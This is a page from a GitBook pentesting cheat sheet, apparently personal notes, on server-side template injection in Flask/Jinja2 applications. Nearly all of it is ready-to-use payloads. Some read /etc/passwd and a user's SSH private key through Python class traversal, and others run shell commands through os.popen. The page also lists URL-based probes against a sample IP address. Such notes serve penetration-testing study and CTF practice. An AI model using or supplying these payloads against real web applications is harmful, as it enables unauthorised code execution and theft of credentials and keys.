🙈
Pentesting
  • Tenaka.net
  • Links
    • Tenaka
    • GTFOBins
    • WinPeas
    • LinPeas
    • Hacktricks
    • OFFENSIVE SECURITY CHEATSHEET
  • Recon
    • NMAP
      • Basics
  • Enumeration
    • NMAP
      • LDAP
      • DNS
      • SMB
      • SQL
      • Web
    • Windows
      • Escalation Checks
      • Users
        • Users PS
        • Users ADSI
        • Users CMD
      • Host Config
      • Updates (All)
        • Exploit Suggester
      • Domain
        • Domain PS
        • Domain CMD
      • Computers
        • Computer PS
      • Components
        • Logical Disks
      • Networking
        • Networking CMD
        • Firewall CMD
      • Services
      • Passwords
        • Findstring
        • Registry
      • Groups
        • Groups PS
      • Misconfigurations
        • UnQuoted Paths (All)
      • Files and Folders
        • Data Streams
      • invoke-command
      • Registry
    • Linux
      • Paths
      • CVE's
      • Hosts File
      • Linux PrivEsc
      • File Permissions
      • Append to a file
      • SSH
    • Kali
      • Passwords\Usernames
    • Certificates
      • User Certificate to WinRM
    • FTP
    • Web
      • wfuzz
      • ffuf
      • gobuster
      • dirb
      • Dirbuster
      • Nikto
      • Wordpress
        • WPScan (wordpress)
        • Could be WPScan
        • WP Interesting paths
    • DNS
      • Hosts File
      • nslookup
      • Dig
      • dnsrecon
      • DNSAdmin Escalation
    • LDAP \ AD \ DC
      • ldapsearch
      • crackmapexec
      • enum4linux-ng
      • RPC
      • Kerbrute
      • Impacket
        • Pre-Authentication
        • SecretsDump - dump hashes
        • Kerberoasting
        • GoldenPAC
      • evil-winrm
      • smbclient
      • Bloodhound - AD Recon
      • DCSync
        • GetChangesAll
    • Group Policy
      • Gpp Password
    • SMB
      • crackmapexec
      • smbclient
      • enum4linux
      • MSFConsole
      • smbmap
        • Error Help
    • Databases
      • MS SQL
      • Read .mdb file
      • Read PST File
    • Exploit-DB
    • WinRM
      • evil-winrm using certs for connection
      • evil-winrm User creds
    • Files
      • Meta Data
      • .apk
    • Misc
      • Flask
      • RocketChat
    • Python
  • Exploitation
    • FTP
      • FTP Anonymous
    • Meterpreter
      • Potato and SeImpersonate
      • Exploit Suggest
        • Commands
    • MSVenom
      • Win Web ASPX
      • Python
      • Powershell
      • Windows
    • Reverse Shells
      • Groovy Script Console
      • Web Reverse Shell using Powershell
      • Upload and exe from web or ftp site
      • nc
      • Bash Reverse Shell
      • MSFConsole Reverse Shell
    • Metasploit
      • Double Pulsar
    • Burpsuite
      • Spraying
  • Boxes
    • Jeeves Potato Attack
    • AChat
  • Useful Commands
    • PowerSploit \ Empire
      • Importing Powersploit Module
    • Transfer Data
      • Downloading
        • Simple Web
        • SMB
        • Certutil
        • Powershell
        • wget
        • Curl
      • Uploading
        • SMB
    • Password Cracking
      • Hashcat
        • MD5
        • NTLM
        • Kerberos
      • Zip Files
      • PFX
      • Create password from scavenging website.
      • NTDS.dit
      • Hydra
        • ssh
      • Hashes
        • hash-identifier
      • Base64 Mapping
      • Hexdump xxp
      • VNC Decrypt Password
Powered by GitBook
On this page
  1. Enumeration
  2. Misc

Flask

SSTI (Server Side Template Injection)

PreviousMiscNextRocketChat

Last updated 3 years ago

(PHP):
{{7*7}}

(PHP):
{{7*'7'}}
Flask/Jinja2:
#''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Flask/Jinja2:
#''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/home/user/.ssh/id_rsa').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/home/user/.ssh/id_rsa").read() }}

#URL Based Enumeration JinJa2

http://10.0.0.1/{{config.items()}}
http://10.0.0.1/{{config.from_object('os')}}
{{get_flashed_messages}}
{{get_flashed_messages.__class__.__mro__[1].__subclasses__()}}
{{"foo".upper()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('ls *').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat file.txt').read()}}

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti